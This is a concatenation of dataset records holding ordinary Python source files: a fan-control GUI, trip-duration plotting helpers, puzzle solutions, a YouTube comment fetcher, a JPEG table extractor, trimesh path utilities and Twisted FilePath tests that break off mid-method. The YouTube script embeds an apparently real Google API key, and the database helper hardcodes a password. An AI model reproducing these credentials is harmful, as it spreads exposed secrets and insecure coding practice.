self.ui.sld_fan_speed_5.valueChanged.connect(lambda x : self.fan_components[5].change_sld_speed(x,self.thread))\n \n #Connect the SensorsThread to gui components\n self.thread.signal_rpm_fan_0.connect(lambda x: self.ui.lbl_fan_rpm_0.setText(str(x)))\n self.thread.signal_rpm_fan_1.connect(lambda x: self.ui.lbl_fan_rpm_1.setText(str(x)))\n self.thread.signal_rpm_fan_2.connect(lambda x: self.ui.lbl_fan_rpm_2.setText(str(x)))\n self.thread.signal_rpm_fan_3.connect(lambda x: self.ui.lbl_fan_rpm_3.setText(str(x)))\n self.thread.signal_rpm_fan_4.connect(lambda x: self.ui.lbl_fan_rpm_4.setText(str(x)))\n self.thread.signal_rpm_fan_5.connect(lambda x: self.ui.lbl_fan_rpm_5.setText(str(x)))\n \n self.thread.signal_watt_fan_0.connect(lambda x: self.ui.lbl_fan_watt_0.setText(\"{:.1f}\".format(x)))\n self.thread.signal_watt_fan_1.connect(lambda x: self.ui.lbl_fan_watt_1.setText(\"{:.1f}\".format(x)))\n self.thread.signal_watt_fan_2.connect(lambda x: self.ui.lbl_fan_watt_2.setText(\"{:.1f}\".format(x)))\n self.thread.signal_watt_fan_3.connect(lambda x: self.ui.lbl_fan_watt_3.setText(\"{:.1f}\".format(x)))\n self.thread.signal_watt_fan_4.connect(lambda x: self.ui.lbl_fan_watt_4.setText(\"{:.1f}\".format(x)))\n self.thread.signal_watt_fan_5.connect(lambda x: self.ui.lbl_fan_watt_5.setText(\"{:.1f}\".format(x)))\n \n self.thread.signal_pins_fan_0.connect(self.fan_components[0].change_lbl_led)\n self.thread.signal_pins_fan_1.connect(self.fan_components[1].change_lbl_led)\n self.thread.signal_pins_fan_2.connect(self.fan_components[2].change_lbl_led)\n self.thread.signal_pins_fan_3.connect(self.fan_components[3].change_lbl_led)\n self.thread.signal_pins_fan_4.connect(self.fan_components[4].change_lbl_led)\n self.thread.signal_pins_fan_5.connect(self.fan_components[5].change_lbl_led)\n \n self.thread.signal_temp_cpu.connect(self.ui.lcd_cpu_temp.display)\n self.thread.signal_temp_cpu.connect(self.ui.pb_cpu_temp.setValue)\n self.thread.signal_temp_gpu.connect(self.ui.lcd_gpu_temp.display)\n self.thread.signal_temp_gpu.connect(self.ui.pb_gpu_temp.setValue)\n \n \n self.thread.start()\n \n \nif __name__ == \"__main__\":\n app = QtWidgets.QApplication(sys.argv) \n pygridv3_app = pygridv3()\n pygridv3_app.show()\n sys.exit(app.exec_())\n \n\n","repo_name":"vhessel/pygridv3","sub_path":"pygridv3.py","file_name":"pygridv3.py","file_ext":"py","file_size_in_byte":8149,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"3"} +{"seq_id":"36374651394","text":"\"\"\"\nHelper functions for app.py. Includes postgres database connection,\nquerying the db, pandas data manipulation, and generation of Plotly figs for\nDash.\n\nAuthor: M. Sanchez-Ayala (04/14/2020)\n\"\"\"\n\nimport psycopg2\nimport pandas as pd\nfrom pandas.io.sql import read_sql_query\nimport plotly.graph_objects as go\nfrom consts import *\nfrom sql_queries import trips_time_select\n\n\n### ALL-PURPOSE PROCESSING ###\n\n\ndef open_connection():\n \"\"\"\n Returns\n -------\n psycopg2 connection object to google_maps db.\n \"\"\"\n conn = psycopg2.connect(\n host = '127.0.0.1',\n dbname = 'google_maps',\n user = 'google_user',\n password = 'passw0rd',\n )\n\n return conn\n\n\ndef create_df():\n \"\"\"\n Returns\n -------\n tod_df: [Pandas df] of the query inner joining trips and time tables.\n\n Also closes connection to db.\n \"\"\"\n\n query = trips_time_select\n\n # Connect to db\n conn = open_connection()\n\n # generate time of day df\n tod_df = read_sql_query(query, conn)\n\n # Don't want connection to linger\n conn.close()\n\n return tod_df\n\ndef convert_to_day(num):\n \"\"\"\n Helper for process_df()\n\n Returns\n -------\n [str] A day of week decoded from the given number.\n\n Parameters\n ----------\n num: [int] A number from 1 - 7 with 1 being Monday and 7 being Sunday.\n \"\"\"\n if num == 1:\n return 'Mon'\n elif num == 2:\n return 'Tue'\n elif num == 3:\n return 'Wed'\n elif num == 4:\n return 'Thu'\n elif num == 5:\n return 'Fri'\n elif num == 6:\n return 'Sat'\n elif num == 7:\n return 'Sun'\n\n\ndef process_df(df):\n \"\"\"\n Returns\n -------\n pro_df: [Pandas Dataframe] A processed copy of the supplied dataframe with some\n modifications necessary for visualization.\n\n Parameters\n ----------\n df: [Pandas Dataframe] Direct result of SQL query.\n \"\"\"\n # Copy df\n pro_df = df.copy()\n\n # Convert ts to datetime\n pro_df['departure_ts'] = pro_df['departure_ts'].map(lambda ts: pd.to_datetime(ts, unit = 's'))\n\n # Set index and sort\n pro_df.set_index('departure_ts', inplace = True)\n pro_df.sort_values(by = 'departure_ts', inplace = True)\n\n # Decode the numerical day column to english\n pro_df['day'] = pro_df['day'].map(lambda num: convert_to_day(num))\n\n return pro_df\n\n\ndef split_df(df):\n \"\"\"\n Returns\n -------\n List of two dataframes. The inputted df is split based on start_location_id\n for easier Plotly graphing.\n\n Parameters\n ----------\n df: [Pandas dataframe] time_series dataframe with both start_location_ids. Assumes\n the index is already set to departure_ts.\n \"\"\"\n df_a = df[df['start_location_id'] == 'A']\n df_b = df[df['start_location_id'] == 'B']\n\n return [df_a, df_b]\n\n\n### TIME SERIES UTILS ###\n\n\ndef plot_time_series(dfs, subset = None):\n \"\"\"\n RETURNS\n -------\n A time series of trip durations for the two DataFrames passed as arguments.\n\n PARAMETERS\n ----------\n dfs: [list] two DataFrames, one being the trip to gf slice and the other being trip to me slice.\n These dfs must already have all of the engineered features from create_features().\n\n subset: [str] Denotes the subset these dfs belong to. Can be one of:\n ['All Trips', 'Weekdays', 'Weekends', 'Morning', 'Afternoon', Evening', 'Early Morning']\n \"\"\"\n if subset:\n assert_subset(subset)\n\n # Instantiate plotly figure\n fig = go.Figure()\n\n # Add one trace for the data in each df\n for i, df in enumerate(dfs):\n\n fig.add_trace(go.Scatter(\n x = df.index,\n y = df.duration,\n line_color = graph_colors[i],\n name = df['start_location_id'].values[0] # Legend labels for this trace\n\n ))\n\n fig.update_layout(\n title = f'Trip Duration for {subset}' if subset else 'Trip Durations',\n yaxis_title = 'Duration (minutes)',\n xaxis_title = 'Departure Time',\n legend_title = 'Starting Location',\n title_x = title_x_pos,\n title_xanchor = title_x_anchor,\n template = 'plotly_white'\n )\n\n # fig.show()\n return fig\n\ndef time_series_main(df):\n \"\"\"\n Plots time series from raw dataframe from SQL\n \"\"\"\n pro_df = process_df(df)\n\n plot_dfs = split_df(pro_df)\n\n fig = plot_time_series(plot_dfs)\n\n return fig\n\n\n### DESCRIPTIVE STATISTICS UTILS ###\n\n\ndef agg_column(df, column, stats):\n \"\"\"\n Returns\n -------\n [Pandas df] The original df aggregated and sorted with reset index.\n\n Parameters\n ----------\n df: [Pandas df] A processed df. Should be output of process_df()\n\n column: [str] Name of column to group by after location id\n\n stats: [str, list] Name of statistic(s) to compute.\n \"\"\"\n if type(stats) == list:\n sort_cols = 'start_location_id'\n elif type(stats) == str:\n sort_cols = ['start_location_id','duration']\n\n df = df.groupby(['start_location_id',column])\n return df.agg(stats).reset_index().sort_values(sort_cols)\n\n\ndef plot_stats(dfs, column, stats):\n \"\"\"\n Returns\n -------\n Plotly graph objects fig with bar chart of given column and statistic\n \"\"\"\n # Instantiate plotly figure\n fig = go.Figure()\n\n # Add one trace for the data in each df\n for i, df in enumerate(dfs):\n\n fig.add_trace(go.Bar(\n x = df[column],\n y = df.duration.astype(int),\n marker_color = graph_colors[i],\n name = df['start_location_id'].values[0] # Legend labels for this trace\n ))\n\n fig.update_layout(\n title = f'{stats.title()} Trip Duration by {column.title()}',\n yaxis_title = 'Duration (minutes)',\n xaxis_title = column.title(),\n title_x = title_x_pos,\n title_xanchor = title_x_anchor,\n legend_title = 'Starting Location',\n template = 'plotly_white'\n )\n\n return fig\n\n\ndef stats_main(df, stats):\n \"\"\"\n Returns\n -------\n Dict of plotly graph objects figures for each breakdown plot for the given\n data and statistic to display.\n\n Parameters\n ----------\n df: [Pandas df] raw dataframe from SQL query\n\n stats: [str] statistic to display\n \"\"\"\n pro_df = process_df(df)\n\n figs = {}\n for column in ['hour', 'day', 'is_weekday']:\n stats_df = agg_column(pro_df, column, stats)\n stats_dfs = split_df(stats_df)\n fig = plot_stats(stats_dfs, column, stats)\n figs[column] = fig\n\n return figs\n","repo_name":"msanchez-ayala/google_maps","sub_path":"src/app/app_helpers.py","file_name":"app_helpers.py","file_ext":"py","file_size_in_byte":6504,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"71453546642","text":"import sys\nn0 = int(sys.stdin.readline())\nn = n0\na = -1\n\ncycle = 0\nwhile a!=n0:\n a = (n%10)*10 + (n//10 + n%10)%10\n n = a\n cycle+=1\nprint(cycle)\n\n","repo_name":"dowoonlee/TIL","sub_path":"baekjun/while/1110.py","file_name":"1110.py","file_ext":"py","file_size_in_byte":155,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"27695700045","text":"from collections import Counter\nimport os\nimport random\nfrom googleapiclient.discovery import build\nimport re\n\n# Set up your YouTube Data API credentials\napi_key = 'AIzaSyC10vSnOvbVK_VPuV1viYrJx0oJuCqFZaw' # Replace with your API key\nyoutube = build('youtube', 'v3', developerKey=api_key)\n\n# Define your YouTube channel ID\nchannel_id = 'UCQk_kRUoxJQY5vqbJQFgJDA' # Replace with your channel ID\n\ndef get_latest_video_comments(video_id):\n comments = []\n response = youtube.commentThreads().list(\n part='snippet',\n videoId=video_id,\n textFormat='plainText',\n maxResults=100 # You can adjust the number of comments to fetch\n ).execute()\n \n while response:\n for item in response['items']:\n comment = item['snippet']['topLevelComment']['snippet']['textDisplay']\n username = item['snippet']['topLevelComment']['snippet']['authorDisplayName']\n comments.append((username, comment))\n try:\n # Try to fetch the next page of comments\n next_page_token = response['nextPageToken']\n response = youtube.commentThreads().list(\n part='snippet',\n videoId=video_id,\n textFormat='plainText',\n maxResults=100,\n pageToken=next_page_token\n ).execute()\n except KeyError:\n # No more pages of comments\n break\n \n return comments\n\ndef select_random_topic(video_ids):\n # Fetch comments from the latest videos\n comments = []\n for video_id in video_ids:\n video_comments = get_latest_video_comments(video_id)\n comments.extend(video_comments)\n\n # Pick a random comment as the selected topic\n selected_topic = random.choice(comments)\n \n return selected_topic\n\ndef select_most_popular_topic(video_ids):\n # Fetch comments from the latest videos\n comments = []\n for video_id in video_ids:\n video_comments = get_latest_video_comments(video_id)\n comments.extend(video_comments)\n\n # Count comment occurrences\n comment_counter = Counter(comments)\n\n # Find the most popular comment\n most_popular_comment, frequency = comment_counter.most_common(1)[0]\n\n return most_popular_comment, frequency\n\nif __name__ == '__main__':\n # List the video IDs of the latest videos on your channel\n latest_video_ids = ['x33kQ4jWnmw', '_GSI2RaiV0s', 'u7RD_fjTIR0', 'XC8UxeP2RWo'] # Replace with your video IDs\n \n # Select a random topic from the latest videos' comments\n topic = select_random_topic(latest_video_ids)\n\n # Find the most popular topic from the latest videos' comments\n popular_topic, frequency = select_most_popular_topic(latest_video_ids)\n\n print(\"Selected Topic:\")\n print(topic)\n print(\"Most Popular Topic:\")\n print(popular_topic)\n print(f\"Frequency: {frequency} times\")\n","repo_name":"daniellaera/py-dev-containert","sub_path":".devcontainer/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2880,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"70178642001","text":"import subprocess\nimport exifread\nfrom PIL import Image\n\n\ndef extract_table(filename):\n\tp = subprocess.Popen(['djpeg','-verbose','-verbose','-verbose',filename], \n\t\tstdout=subprocess.PIPE, \n\t\tstderr=subprocess.PIPE)\n\tout,info_jpeg = p.communicate() #djpeg returns q-tables in stderr\n\n\tlines = info_jpeg.split('\\n')\n\ttmp = []\n\tjpeg_structure = []\n\n\tfor i in range(len(lines)):\n\t\tif lines[i] == 'Start of Image':\n\t\t\tjpeg_structure.append('SOI')\n\t\telif lines[i] == 'Define Quantization Table 0 precision 0':\n\t\t\tjpeg_structure.append('DEF-QT0')\n\t\t\tfor j in range(i+1,i+9):\n\t\t\t\ta = lines[j].split(' ')\n\t\t\t\tfor s in a:\n\t\t\t\t\tt = s.translate(None,' ')\n\t\t\t\t\tif t != '':\n\t\t\t\t\t\ttmp.append(t)\n\n\t\telif lines[i] == 'Define Quantization Table 1 precision 0':\n\t\t\tjpeg_structure.append('DEF-QT1')\n\t\t\tfor j in range(i+1,i+9):\n\t\t\t\ta = lines[j].split(' ')\n\t\t\t\tfor s in a:\n\t\t\t\t\tt = s.translate(None,' ')\n\t\t\t\t\tif t != '':\n\t\t\t\t\t\ttmp.append(t)\n\t\telif 'Start Of Frame' in lines[i]:\n\t\t\tjpeg_structure.append('SOF')\n\t\telif 'Define Huffman Table' in lines[i]:\n\t\t\tjpeg_structure.append('DEF-HT')\n\t\telif 'Start Of Scan' in lines[i]:\n\t\t\ta = lines[i].split(' ')\n\t\t\tjpeg_structure.append('SOS:'+a[3])\n\t\telif 'End Of Image' in lines[i]:\n\t\t\tjpeg_structure.append('EOI')\n\n\tif len(tmp) < 128:\n\t\tfor i in range(len(tmp),128):\n\t\t\ttmp.append(0)\n\ttmp = [int(coeff_value) for coeff_value in tmp]\n\n\treturn tmp,jpeg_structure\n\ndef feature_extractor(filename):\n\tfeatures = []\n\tqtable,jpeg_structure = extract_table(filename)\n\tim = Image.open(filename)\n\twidth, height = im.size\n\n\t# Open image file for reading (binary mode)\n\tf = open(filename, 'rb')\n\t# Return Exif tags\n\ttags = exifread.process_file(f)\n\n\tfeatures = [width, height, len(tags)]\n\n\tfor coefficient in qtable:\n\t\tfeatures.append(coefficient)\n\n\tfeatures.append(len(jpeg_structure))\n\n\treturn features,tags\n","repo_name":"Oliwan/image-processing","sub_path":"qf_table_extractor.py","file_name":"qf_table_extractor.py","file_ext":"py","file_size_in_byte":1823,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"42811479849","text":"from typing import List\n\n\nclass Solution:\n def countNegatives(self, grid: List[List[int]]) -> int:\n N = len(grid)\n M = len(grid[0])\n res = 0\n for r in range(N):\n if grid[r][0] >= 0 and grid[r][M-1] >= 0:\n continue\n if grid[r][0] < 0:\n res += M\n else:\n k = 0\n while k < N:\n if grid[r][k] < 0:\n break\n k += 1\n res += M - k\n return res\n\n\nif __name__ == \"__main__\":\n s = Solution()\n result = s.countNegatives(\n [[7, -3]])\n print(result)\n","repo_name":"kenwoov/PlayLeetCode","sub_path":"Algorithms/Easy/1351. Count Negative Numbers in a Sorted Matrix/answer.py","file_name":"answer.py","file_ext":"py","file_size_in_byte":656,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"22471814107","text":"import numpy as np\n\nfrom ... import util\nfrom ... import graph\nfrom ... import grouping\n\nfrom ..entities import Line, Arc\n\n\ndef dict_to_path(as_dict):\n \"\"\"\n Turn a pure dict into a dict containing entity objects that\n can be sent directly to a Path constructor.\n\n Parameters\n ------------\n as_dict : dict\n Has keys: 'vertices', 'entities'\n\n Returns\n ------------\n kwargs : dict\n Has keys: 'vertices', 'entities'\n \"\"\"\n # start kwargs with initial value\n result = as_dict.copy()\n # map of constructors\n loaders = {'Arc': Arc, 'Line': Line}\n # pre- allocate entity array\n entities = [None] * len(as_dict['entities'])\n # run constructor for dict kwargs\n for entity_index, entity in enumerate(as_dict['entities']):\n entities[entity_index] = loaders[entity['type']](\n points=entity['points'], closed=entity['closed'])\n result['entities'] = entities\n\n return result\n\n\ndef lines_to_path(lines):\n \"\"\"\n Turn line segments into a Path2D or Path3D object.\n\n Parameters\n ------------\n lines : (n, 2, dimension) or (n, dimension) float\n Line segments or connected polyline curve in 2D or 3D\n\n Returns\n -----------\n kwargs : dict\n kwargs for Path constructor\n \"\"\"\n lines = np.asanyarray(lines, dtype=np.float64)\n\n if util.is_shape(lines, (-1, (2, 3))):\n # the case where we have a list of points\n # we are going to assume they are connected\n result = {'entities': np.array([Line(np.arange(len(lines)))]),\n 'vertices': lines}\n return result\n elif util.is_shape(lines, (-1, 2, (2, 3))):\n # case where we have line segments in 2D or 3D\n dimension = lines.shape[-1]\n # convert lines to even number of (n, dimension) points\n lines = lines.reshape((-1, dimension))\n # merge duplicate vertices\n unique, inverse = grouping.unique_rows(lines)\n # use scipy edges_to_path to skip creating\n # a bajillion individual line entities which\n # will be super slow vs. fewer polyline entities\n return edges_to_path(edges=inverse.reshape((-1, 2)),\n vertices=lines[unique])\n else:\n raise ValueError('Lines must be (n,(2|3)) or (n,2,(2|3))')\n return result\n\n\ndef polygon_to_path(polygon):\n \"\"\"\n Load shapely Polygon objects into a trimesh.path.Path2D object\n\n Parameters\n -------------\n polygon : shapely.geometry.Polygon\n Input geometry\n\n Returns\n -----------\n kwargs : dict\n Keyword arguments for Path2D constructor\n \"\"\"\n # start with a single polyline for the exterior\n entities = []\n # start vertices\n vertices = []\n\n if hasattr(polygon.boundary, 'geoms'):\n boundaries = polygon.boundary.geoms\n else:\n boundaries = [polygon.boundary]\n\n # append interiors as single Line objects\n for boundary in boundaries:\n entities.append(Line(np.arange(len(boundary.coords)) +\n len(vertices)))\n # append the new vertex array\n vertices.extend(boundary.coords)\n\n # make sure result arrays are numpy\n kwargs = {'entities': entities,\n 'vertices': np.array(vertices)}\n\n return kwargs\n\n\ndef linestrings_to_path(multi):\n \"\"\"\n Load shapely LineString objects into a trimesh.path.Path2D object\n\n Parameters\n -------------\n multi : shapely.geometry.LineString or MultiLineString\n Input 2D geometry\n\n Returns\n -------------\n kwargs : dict\n Keyword arguments for Path2D constructor\n \"\"\"\n # append to result as we go\n entities = []\n vertices = []\n\n if not util.is_sequence(multi):\n multi = [multi]\n\n for line in multi:\n # only append geometry with points\n if hasattr(line, 'coords'):\n coords = np.array(line.coords)\n if len(coords) < 2:\n continue\n entities.append(Line(np.arange(len(coords)) +\n len(vertices)))\n vertices.extend(coords)\n\n kwargs = {'entities': np.array(entities),\n 'vertices': np.array(vertices)}\n return kwargs\n\n\ndef faces_to_path(mesh, face_ids=None, **kwargs):\n \"\"\"\n Given a mesh and face indices find the outline edges and\n turn them into a Path3D.\n\n Parameters\n ------------\n mesh : trimesh.Trimesh\n Triangulated surface in 3D\n face_ids : (n,) int\n Indexes referencing mesh.faces\n\n Returns\n ---------\n kwargs : dict\n Kwargs for Path3D constructor\n \"\"\"\n if face_ids is None:\n edges = mesh.edges_sorted\n else:\n # take advantage of edge ordering to index as single row\n edges = mesh.edges_sorted.reshape(\n (-1, 6))[face_ids].reshape((-1, 2))\n # an edge which occurs onely once is on the boundary\n unique_edges = grouping.group_rows(\n edges, require_count=1)\n # add edges and vertices to kwargs\n kwargs.update(edges_to_path(edges=edges[unique_edges],\n vertices=mesh.vertices))\n\n return kwargs\n\n\ndef edges_to_path(edges,\n vertices,\n **kwargs):\n \"\"\"\n Given an edge list of indices and associated vertices\n representing lines, generate kwargs for a Path object.\n\n Parameters\n -----------\n edges : (n, 2) int\n Vertex indices of line segments\n vertices : (m, dimension) float\n Vertex positions where dimension is 2 or 3\n\n Returns\n ----------\n kwargs : dict\n Kwargs for Path constructor\n \"\"\"\n # sequence of ordered traversals\n dfs = graph.traversals(edges, mode='dfs')\n # make sure every consecutive index in DFS\n # traversal is an edge in the source edge list\n dfs_connected = graph.fill_traversals(dfs, edges=edges)\n # kwargs for Path constructor\n # turn traversals into Line objects\n lines = [Line(d) for d in dfs_connected]\n\n kwargs.update({'entities': lines,\n 'vertices': vertices,\n 'process': False})\n return kwargs\n","repo_name":"mikedh/trimesh","sub_path":"trimesh/path/exchange/misc.py","file_name":"misc.py","file_ext":"py","file_size_in_byte":6079,"program_lang":"python","lang":"en","doc_type":"code","stars":2558,"dataset":"github-code","pt":"3"} +{"seq_id":"31299406963","text":"from __future__ import division, absolute_import\n\nimport os, time, pickle, errno, stat\nfrom pprint import pformat\n\nfrom twisted.python.compat import _PY3, long, unicode\nfrom twisted.python.win32 import WindowsError, ERROR_DIRECTORY\nfrom twisted.python import filepath\nfrom twisted.python.runtime import platform\n\nfrom twisted.trial.unittest import SkipTest, SynchronousTestCase as TestCase\n\nfrom zope.interface.verify import verifyObject\n\nif not platform._supportsSymlinks():\n symlinkSkip = \"Platform does not support symlinks\"\nelse:\n symlinkSkip = None\n\n\n\nclass BytesTestCase(TestCase):\n \"\"\"\n Override default method implementations to support byte paths.\n \"\"\"\n def mktemp(self):\n \"\"\"\n Return a temporary path, encoded as bytes.\n \"\"\"\n return TestCase.mktemp(self).encode(\"utf-8\")\n\n\n\nclass AbstractFilePathTests(BytesTestCase):\n \"\"\"\n Tests for L{IFilePath} implementations.\n \"\"\"\n f1content = b\"file 1\"\n f2content = b\"file 2\"\n\n\n def _mkpath(self, *p):\n x = os.path.abspath(os.path.join(self.cmn, *p))\n self.all.append(x)\n return x\n\n\n def subdir(self, *dirname):\n os.mkdir(self._mkpath(*dirname))\n\n\n def subfile(self, *dirname):\n return open(self._mkpath(*dirname), \"wb\")\n\n\n def setUp(self):\n self.now = time.time()\n cmn = self.cmn = os.path.abspath(self.mktemp())\n self.all = [cmn]\n os.mkdir(cmn)\n self.subdir(b\"sub1\")\n with self.subfile(b\"file1\") as f:\n f.write(self.f1content)\n with self.subfile(b\"sub1\", b\"file2\") as f:\n f.write(self.f2content)\n self.subdir(b'sub3')\n self.subfile(b\"sub3\", b\"file3.ext1\").close()\n self.subfile(b\"sub3\", b\"file3.ext2\").close()\n self.subfile(b\"sub3\", b\"file3.ext3\").close()\n self.path = filepath.FilePath(cmn)\n self.root = filepath.FilePath(b\"/\")\n\n\n def test_verifyObject(self):\n \"\"\"\n Instances of the path type being tested provide L{IFilePath}.\n \"\"\"\n self.assertTrue(verifyObject(filepath.IFilePath, self.path))\n\n\n def test_segmentsFromPositive(self):\n \"\"\"\n Verify that the segments between two paths are correctly identified.\n \"\"\"\n self.assertEqual(\n self.path.child(b\"a\").child(b\"b\").child(b\"c\").segmentsFrom(self.path),\n [b\"a\", b\"b\", b\"c\"])\n\n\n def test_segmentsFromNegative(self):\n \"\"\"\n Verify that segmentsFrom notices when the ancestor isn't an ancestor.\n \"\"\"\n self.assertRaises(\n ValueError,\n self.path.child(b\"a\").child(b\"b\").child(b\"c\").segmentsFrom,\n self.path.child(b\"d\").child(b\"c\").child(b\"e\"))\n\n\n def test_walk(self):\n \"\"\"\n Verify that walking the path gives the same result as the known file\n hierarchy.\n \"\"\"\n x = [foo.path for foo in self.path.walk()]\n self.assertEqual(set(x), set(self.all))\n\n\n def test_parents(self):\n \"\"\"\n L{FilePath.parents()} should return an iterator of every ancestor of\n the L{FilePath} in question.\n \"\"\"\n L = []\n pathobj = self.path.child(b\"a\").child(b\"b\").child(b\"c\")\n fullpath = pathobj.path\n lastpath = fullpath\n thispath = os.path.dirname(fullpath)\n while lastpath != self.root.path:\n L.append(thispath)\n lastpath = thispath\n thispath = os.path.dirname(thispath)\n self.assertEqual([x.path for x in pathobj.parents()], L)\n\n\n def test_validSubdir(self):\n \"\"\"\n Verify that a valid subdirectory will show up as a directory, but not as a\n file, not as a symlink, and be listable.\n \"\"\"\n sub1 = self.path.child(b'sub1')\n self.assertTrue(sub1.exists(),\n \"This directory does exist.\")\n self.assertTrue(sub1.isdir(),\n \"It's a directory.\")\n self.assertFalse(sub1.isfile(),\n \"It's a directory.\")\n self.assertFalse(sub1.islink(),\n \"It's a directory.\")\n self.assertEqual(sub1.listdir(),\n [b'file2'])\n\n\n def test_invalidSubdir(self):\n \"\"\"\n Verify that a subdirectory that doesn't exist is reported as such.\n \"\"\"\n sub2 = self.path.child(b'sub2')\n self.assertFalse(sub2.exists(),\n \"This directory does not exist.\")\n\n def test_validFiles(self):\n \"\"\"\n Make sure that we can read existent non-empty files.\n \"\"\"\n f1 = self.path.child(b'file1')\n with f1.open() as f:\n self.assertEqual(f.read(), self.f1content)\n f2 = self.path.child(b'sub1').child(b'file2')\n with f2.open() as f:\n self.assertEqual(f.read(), self.f2content)\n\n\n def test_multipleChildSegments(self):\n \"\"\"\n C{fp.descendant([a, b, c])} returns the same L{FilePath} as is returned\n by C{fp.child(a).child(b).child(c)}.\n \"\"\"\n multiple = self.path.descendant([b'a', b'b', b'c'])\n single = self.path.child(b'a').child(b'b').child(b'c')\n self.assertEqual(multiple, single)\n\n\n def test_dictionaryKeys(self):\n \"\"\"\n Verify that path instances are usable as dictionary keys.\n \"\"\"\n f1 = self.path.child(b'file1')\n f1prime = self.path.child(b'file1')\n f2 = self.path.child(b'file2')\n dictoid = {}\n dictoid[f1] = 3\n dictoid[f1prime] = 4\n self.assertEqual(dictoid[f1], 4)\n self.assertEqual(list(dictoid.keys()), [f1])\n self.assertIs(list(dictoid.keys())[0], f1)\n self.assertIsNot(list(dictoid.keys())[0], f1prime) # sanity check\n dictoid[f2] = 5\n self.assertEqual(dictoid[f2], 5)\n self.assertEqual(len(dictoid), 2)\n\n\n def test_dictionaryKeyWithString(self):\n \"\"\"\n Verify that path instances are usable as dictionary keys which do not clash\n with their string counterparts.\n \"\"\"\n f1 = self.path.child(b'file1')\n dictoid = {f1: 'hello'}\n dictoid[f1.path] = 'goodbye'\n self.assertEqual(len(dictoid), 2)\n\n\n def test_childrenNonexistentError(self):\n \"\"\"\n Verify that children raises the appropriate exception for non-existent\n directories.\n \"\"\"\n self.assertRaises(filepath.UnlistableError,\n self.path.child(b'not real').children)\n\n def test_childrenNotDirectoryError(self):\n \"\"\"\n Verify that listdir raises the appropriate exception for attempting to list\n a file rather than a directory.\n \"\"\"\n self.assertRaises(filepath.UnlistableError,\n self.path.child(b'file1').children)\n\n\n def test_newTimesAreFloats(self):\n \"\"\"\n Verify that all times returned from the various new time functions are ints\n (and hopefully therefore 'high precision').\n \"\"\"\n for p in self.path, self.path.child(b'file1'):\n self.assertEqual(type(p.getAccessTime()), float)\n self.assertEqual(type(p.getModificationTime()), float)\n self.assertEqual(type(p.getStatusChangeTime()), float)\n\n\n def test_oldTimesAreInts(self):\n \"\"\"\n Verify that all times returned from the various time functions are\n integers, for compatibility.\n \"\"\"\n for p in self.path, self.path.child(b'file1'):\n self.assertEqual(type(p.getatime()), int)\n self.assertEqual(type(p.getmtime()), int)\n self.assertEqual(type(p.getctime()), int)\n\n\n\nclass FakeWindowsPath(filepath.FilePath):\n \"\"\"\n A test version of FilePath which overrides listdir to raise L{WindowsError}.\n \"\"\"\n\n def listdir(self):\n \"\"\"\n @raise WindowsError: always.\n \"\"\"\n if _PY3:\n # For Python 3.3 and higher, WindowsError is an alias for OSError.\n # The first argument to the OSError constructor is errno, and the fourth\n # argument is winerror.\n # For further details, refer to:\n # https://docs.python.org/3/library/exceptions.html#OSError\n #\n # On Windows, if winerror is set in the constructor,\n # the errno value in the constructor is ignored, and OSError internally\n # maps the winerror value to an errno value.\n raise WindowsError(\n None,\n \"A directory's validness was called into question\",\n self.path,\n ERROR_DIRECTORY)\n else:\n raise WindowsError(\n ERROR_DIRECTORY,\n \"A directory's validness was called into question\")\n\n\n\nclass ListingCompatibilityTests(BytesTestCase):\n \"\"\"\n These tests verify compatibility with legacy behavior of directory listing.\n \"\"\"\n\n def test_windowsErrorExcept(self):\n \"\"\"\n Verify that when a WindowsError is raised from listdir, catching\n WindowsError works.\n \"\"\"\n fwp = FakeWindowsPath(self.mktemp())\n self.assertRaises(filepath.UnlistableError, fwp.children)\n self.assertRaises(WindowsError, fwp.children)\n\n if not platform.isWindows():\n test_windowsErrorExcept.skip = \"Only relevant on on Windows.\"\n\n\n def test_alwaysCatchOSError(self):\n \"\"\"\n Verify that in the normal case where a directory does not exist, we will\n get an OSError.\n \"\"\"\n fp = filepath.FilePath(self.mktemp())\n self.assertRaises(OSError, fp.children)\n\n\n def test_keepOriginalAttributes(self):\n \"\"\"\n Verify that the Unlistable exception raised will preserve the attributes of\n the previously-raised exception.\n \"\"\"\n fp = filepath.FilePath(self.mktemp())\n ose = self.assertRaises(OSError, fp.children)\n d1 = list(ose.__dict__.keys())\n d1.remove('originalException')\n d2 = list(ose.originalException.__dict__.keys())\n d1.sort()\n d2.sort()\n self.assertEqual(d1, d2)\n\n\n\nclass ExplodingFile:\n \"\"\"\n A C{file}-alike which raises exceptions from its I/O methods and keeps track\n of whether it has been closed.\n\n @ivar closed: A C{bool} which is C{False} until C{close} is called, then it\n is C{True}.\n \"\"\"\n closed = False\n\n def read(self, n=0):\n \"\"\"\n @raise IOError: Always raised.\n \"\"\"\n raise IOError()\n\n\n def write(self, what):\n \"\"\"\n @raise IOError: Always raised.\n \"\"\"\n raise IOError()\n\n\n def close(self):\n \"\"\"\n Mark the file as having been closed.\n \"\"\"\n self.closed = True\n\n\n def __enter__(self):\n return self\n\n\n def __exit__(self, exc_type, exc_value, traceback):\n self.close()\n\n\n\nclass TrackingFilePath(filepath.FilePath):\n \"\"\"\n A subclass of L{filepath.FilePath} which maintains a list of all other paths\n created by clonePath.\n\n @ivar trackingList: A list of all paths created by this path via\n C{clonePath} (which also includes paths created by methods like\n C{parent}, C{sibling}, C{child}, etc (and all paths subsequently created\n by those paths, etc).\n\n @type trackingList: C{list} of L{TrackingFilePath}\n\n @ivar openedFiles: A list of all file objects opened by this\n L{TrackingFilePath} or any other L{TrackingFilePath} in C{trackingList}.\n\n @type openedFiles: C{list} of C{file}\n \"\"\"\n\n def __init__(self, path, alwaysCreate=False, trackingList=None):\n filepath.FilePath.__init__(self, path, alwaysCreate)\n if trackingList is None:\n trackingList = []\n self.trackingList = trackingList\n self.openedFiles = []\n\n\n def open(self, *a, **k):\n \"\"\"\n 